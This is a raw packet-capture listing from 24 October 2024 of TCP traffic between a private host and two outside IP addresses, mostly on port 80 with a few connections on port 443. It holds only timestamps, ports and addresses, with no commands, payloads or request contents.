Oct 24, 2024 04:58:20.797280073 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797406912 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797439098 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797480106 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797494888 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797532082 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797549963 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797569036 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797575951 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797833920 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.798074961 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.798109055 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.798134089 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.798142910 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.798151970 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.798176050 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.798183918 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.798213005 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.798260927 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.806323051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806433916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806467056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806500912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806521893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.806535006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806555986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.806570053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806603909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806638002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806654930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.806672096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806679964 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.806807995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806860924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806895971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806906939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.806929111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806962967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.806972980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.806996107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.807032108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.807040930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.807065964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.807070017 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.807102919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.807146072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.839860916 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.839891911 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.839948893 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.913790941 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.913876057 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.913904905 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.913942099 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.913957119 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.913959980 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.913991928 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.914006948 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.914025068 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.914032936 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.914061069 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.914091110 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.914093018 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.914109945 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.914139986 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.914185047 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.914917946 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.914962053 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.914973021 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.915008068 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.915021896 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915059090 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915081024 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.915100098 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915102959 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.915134907 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915148973 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.915169954 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915204048 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915214062 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.915241003 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915287018 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.915740967 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915760040 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915776968 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.915802002 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.915829897 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.925559998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.925667048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.925769091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.925777912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.925813913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.925847054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.925858021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.925882101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.925915003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.925925970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.925951004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.926001072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.926003933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.926040888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.926074982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.926111937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.926119089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.926244974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.926274061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.926292896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.926318884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.970565081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.970597029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.970649958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.000180960 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.000226021 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.000243902 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.000269890 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.010843039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.010874033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.010935068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.015717983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.015774012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.015809059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.015816927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.015844107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.015880108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.015901089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.030986071 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031014919 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031049013 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031049013 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031065941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031085968 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031094074 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031120062 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031130075 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031153917 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031163931 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031188011 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031197071 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031224012 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031229973 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031260014 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031265974 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031302929 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031811953 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031841040 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031862020 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031883955 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.031934023 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.031991005 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032026052 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032037020 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.032059908 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032072067 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.032097101 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032143116 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.032521009 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032569885 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032603979 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032618046 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.032635927 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032648087 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.032670975 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032706022 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.032716036 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.032860994 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.045007944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.045043945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.045083046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.045104027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.045140028 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.057334900 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:21.057374001 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:21.057439089 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:21.057790041 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:21.057801962 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:21.086307049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.086342096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.086375952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.086425066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.130433083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.130455971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.130484104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.130495071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.130539894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.134948015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.134962082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.134978056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.135004044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.135030031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.135034084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.135061979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.135066986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.135133028 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.147752047 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.147766113 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.147782087 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.147795916 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.147825956 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.147855997 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.147881985 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.147926092 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.147937059 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.147952080 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.147993088 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148152113 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148178101 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148201942 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148245096 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148255110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148335934 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148444891 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148466110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148475885 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148484945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148489952 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148511887 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148511887 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148925066 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148936033 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148945093 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148962975 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148973942 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148977041 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148983002 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.148988962 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.148996115 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.149004936 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.149020910 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.149034977 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.149053097 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.149811029 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.149825096 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.149835110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.149846077 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.149866104 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.149902105 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.164309025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.164319992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.164330006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.164392948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.205627918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.205660105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.205693960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.205728054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.206263065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.249526978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.249568939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.249605894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.249618053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.249783039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.254528999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254584074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254620075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254654884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254682064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.254688978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254702091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.254723072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254796982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254828930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254848003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.254863024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.254904985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.264627934 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.264662981 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.264715910 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.264744043 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.264749050 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.264770031 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.264784098 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.264808893 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.264817953 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.264862061 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.264944077 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.264976025 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265010118 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265018940 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265221119 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265254974 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265270948 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265290022 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265296936 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265325069 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265367031 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265573978 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265607119 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265616894 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265641928 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265646935 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265675068 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265696049 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265712023 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265919924 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.265963078 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.265970945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.266005039 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.266009092 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.266037941 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.266046047 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.266081095 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.266084909 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.266113043 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.266119957 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.266149044 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.266153097 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.266176939 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.266191006 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.266216993 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.283574104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.283607960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.283642054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.283668995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.283698082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.307682991 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.307713032 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.307746887 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.307775974 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.307781935 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.307790995 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.307817936 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.324867964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.324902058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.324933052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.324960947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.368989944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.369029999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.369044065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.373871088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.373927116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.373934984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.373984098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.374038935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.374074936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.374079943 CEST	49774	80	192.168.2.6	185.215.113.16
